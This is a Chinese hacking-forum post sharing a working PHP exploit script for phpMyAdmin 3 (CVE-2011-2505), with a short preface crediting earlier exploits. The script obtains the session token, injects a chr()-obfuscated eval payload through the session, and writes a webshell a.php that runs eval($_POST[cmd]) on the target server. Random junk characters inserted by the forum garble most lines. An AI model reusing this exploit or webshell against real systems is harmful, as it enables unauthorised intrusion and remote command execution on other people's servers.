找回密码
 立即注册
查看: 2891|回复: 0
打印 上一主题 下一主题

phpadmin3 remote code execute php版本exploit

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-21 09:13:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。8 d1 G! z3 ?$ O2 l# i
# ~8 U% ?4 _& F4 p
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
/ j8 U0 X7 U& Q) Z# J% G9 P! j  C
. s5 M2 a0 p6 F& [& N首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
- C- w" u% |3 C0 V3 [& a$ D/ g6 m' [9 q一是session.auto_start = 1;
( X4 F4 h) K4 @二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。# s1 c5 O2 `+ D; A4 T! M
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。
: _1 y" l0 |! t# q& y' N1 U
) W& B2 n1 l) f8 S在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。7 f) p9 S# S6 f7 k/ \( E

- F9 y8 |& e) z# l2 u' O3 \& p于是写了这个php版本的exp,代码如下:9 G4 `, V% t" B# K
  _8 b5 K# h0 X% U
#!/usr/bin/php
) f# ~' F% P% u  C  U  m<?php: c7 _+ J5 s7 n7 K" H4 t4 d
print_r('" |4 Q" D0 m0 e7 q# `; J. B; K7 G' F
+---------------------------------------------------------------------------+
$ \$ o. [/ B8 \, L! O( W1 Cpma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
2 `2 I+ ^3 X% C0 l+ Z, y. [) }6 yby oldjun(www.oldjun.com)
4 |6 f" ~1 h- V6 |9 o3 }7 Twelcome to www.t00ls.net
/ r& d* E7 n6 u, _2 J, Rmail: oldjun@gmail.com
8 a$ ?* R: [1 Q1 r- M9 |" {Assigned CVE id: CVE-2011-2505
1 q$ D7 I6 _; R5 u+---------------------------------------------------------------------------+: y# `$ m/ i( \) h0 ]6 a
');
& s9 T2 B4 v2 e
2 Z1 Y% @& k; |& ?3 Y% ]/**( `. P- z) O% [7 U
* working when the directory:"config" exists and is writeable.
2 d1 e# r( P# }4 @" o3 e5 p8 K6 O**/
; y* k! Q1 k2 R& r, ]1 v 9 k: C6 y+ p, x* s% j# J2 x  T
if ($argc < 3) {
8 k* Q6 f% o* b/ N    print_r('
  u1 ~! T" X- _1 S7 k+---------------------------------------------------------------------------+! H& i( `  z  ]+ @& I2 e3 d) Y9 ]
Usage: php '.$argv[0].' host path
& E) c5 x( V1 C2 o& Y! A* t3 P! X: ^host:      target server (ip/hostname)1 m/ [% @- w: P
path:      path to pma3  _+ X: f' `" D
Example:
7 @3 ~9 S% T$ m. u0 G; `php '.$argv[0].' localhost /pma/
& d  g! Y! ]9 e& F# T4 L+---------------------------------------------------------------------------+
% Q, o+ ]6 }5 e  p+ X2 I. b');  ?8 D8 z# U1 S
    exit;
; n& n) U6 N. m# M. o; B}
+ j( s  R) H& z; `, o  o7 z" S8 Z7 o' Q/ e& ?, R3 S
$host = $argv[1];  E, ]  f' |$ V7 G% ~
$path = $argv[2];2 J" O+ @+ e8 J  R: K

- b6 T5 e4 T- b& ]9 {/**( R, e. H4 z1 z% u6 s: X0 u
* Try to determine if the directory:"config" exists1 u7 e* l/ E, C' M; U# m
**/4 s) S  d+ r7 L' G# H4 Q
echo "[+] Try to determine if the directory:config exists....\n";
, ]" w' P% Y0 B& S. R$returnstr=php_request('config/');
" S5 T' ]8 j: x! R: ~( l% H$ V- {if(strpos($returnstr,'404')){
* ~' C$ T, g8 _9 f. ~4 y3 p2 w    exit("[-] Exploit Failed! The directory:config do not exists!\n");  g( q: @0 E+ j' d! X  k8 F
}
; l- g+ k& P' q. l1 n" b; A5 a. }! P% {! I
/**
! F# _' G1 T5 T6 c- P * Try to get token and sessionid
, \0 ?+ i# R8 M$ g' I$ x' Q**/9 P! [9 t# O% r1 b; |
echo "[+] Try to get token and sessionid....\n";
6 `& W3 B+ K* [1 `4 Q' P$result=php_request('index.php');
' n4 \1 X* k" Y0 l  kpreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
& U& |/ i& Y/ A  b# C/ _" `$token=$resp[3];! z2 q- O5 K2 i  {7 o+ y. ~7 s: O
$sessionid=$resp[1];& ?* R, I! f9 a
if($token && $sessionid){
# F) z3 f4 ?* B$ H    echo "[+] tokentoken\n";2 C+ s% a& }: p0 m8 I* M4 O
    echo "[+] Session IDsessionid\n";
2 ?/ b! p* @; n& x}else{
/ S# f" K% c/ |1 l    exit("[-] Can't get token and Session ID,Exploit Failed!\n");- w9 s; p: a% q6 Z/ o6 t
}# x9 {3 y5 I: E/ }
$ ~' }+ A0 p/ b  S( E, Z
/**0 c" H' G2 U; S& G
* Try to insert shell into session* R1 b. I# S+ q" U, J
**/
3 l) n5 C7 ^! o9 |" e- secho "[+] Try to insert shell into session....\n";
3 ~- {, X9 @4 Yphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.) e& V7 M9 m: i( l0 |* r

1 Z/ |6 x+ Q9 S6 x" x/**; o9 p' S; o3 u# A. @* E
* Try to create webshell
$ `8 _1 k/ C+ ]+ W**/5 J6 M  X: p" [7 I" M" `0 U
echo "[+] Try to create webshell....\n";' G  `  T* J1 K& K  H
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);& g" ^3 W. G, |1 Z, b# O( H
/**
/ x- W% o; E0 g$ _ * Try to check if the webshell was created successfully. o$ A+ j, r  K& S, F; d4 Z
**/, r$ T: N! N$ d" _
echo "[+] Try to check if the webshell was created successfully....\n";
8 a. w8 l6 K, d$content=php_request('config/config.inc.php');
/ }8 E$ h9 @7 j) D! D9 Z# Gif(strpos($content,'t00ls')){
  P& m9 W6 d, W3 P/ t, |    echo "[+] Congratulations! Expoilt successfully....\n";0 @' ^$ C  n& M7 t7 L+ e
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";. z- s5 ?3 s( ~. V! J/ H5 o! a. x
}else{! x# d4 W& K( Z1 ?) f
    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");. y+ B' y# k3 ]
}2 H* ?3 U; w# f8 B- U! I9 Q: D

6 Q+ p; E# {6 s2 K! V% g7 T7 g3 Ifunction php_request($url,$data='',$cookie=''){
& w1 y# `) Y* p1 E* {, Q0 E    global  $host, $path;' `1 h! n: d/ k- L& R
   
3 j5 y& f2 e1 H6 D    $method=$data?'POST':'GET';% ?9 S4 Z/ a6 [9 L9 b
   
& m. W& }3 e2 z' G+ t" ^( e/ C, G    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
3 ?1 {3 w) E' l( \    $packet .= "Accept: */*\r\n";
9 d9 u5 L  x. T3 l7 J5 y    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";' C. P( k, f5 [$ H: u7 s! V
    $packet .= "Host: $host\r\n";+ F  \0 w; S9 J6 Q4 P, v& l
    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";% n# ]& i6 M4 A6 x0 ~; ^
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";0 Q2 c4 r+ c0 Y9 t9 Q) R7 |
    $packet .= $cookie?"Cookie: $cookie\r\n":"";
' f  M$ Z! b, ]" X7 ~+ O8 l    $packet .= "Connection: Close\r\n\r\n";
$ A3 `7 b6 {. ]* b    $packet .= $data?$data:"";0 V% b# R, H/ G

7 l; _1 t+ a7 k. E+ d; {    $fp = fsockopen(gethostbyname($host), 80);
# X% Y( X" H' w" Z    if (!$fp) {- P4 s, E9 q/ e# A0 Z- D. P. L
    echo 'No response from '.$host; die;7 i7 @5 n, ~' D6 m) [3 b8 g
    }3 m6 a4 [9 ^0 i# f+ e" n
    fputs($fp, $packet);
0 o  X' i2 j5 v; |$ X
9 R  ~$ r% }' e7 Q# W3 p3 I    $resp = '';
7 U2 c; y* e# T$ \7 V+ M8 I% Z' b. o0 p) ^* B, d) D
    while ($fp && !feof($fp)); q& }8 S. X) z* `" G# O# ?3 c/ T, O
        $resp .= fread($fp, 1024);+ c3 m& N3 v7 w/ y# ?/ o7 U

$ X1 a; @. W5 ^" L4 i    return $resp;
# i, ?: Z! y7 ^) F7 m* B}
' n% I; ~: D6 m& _" W7 ^   
! Q' X$ \8 v: |7 Y?> 0 a$ n3 ?3 q+ U5 g- [1 l8 o
.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表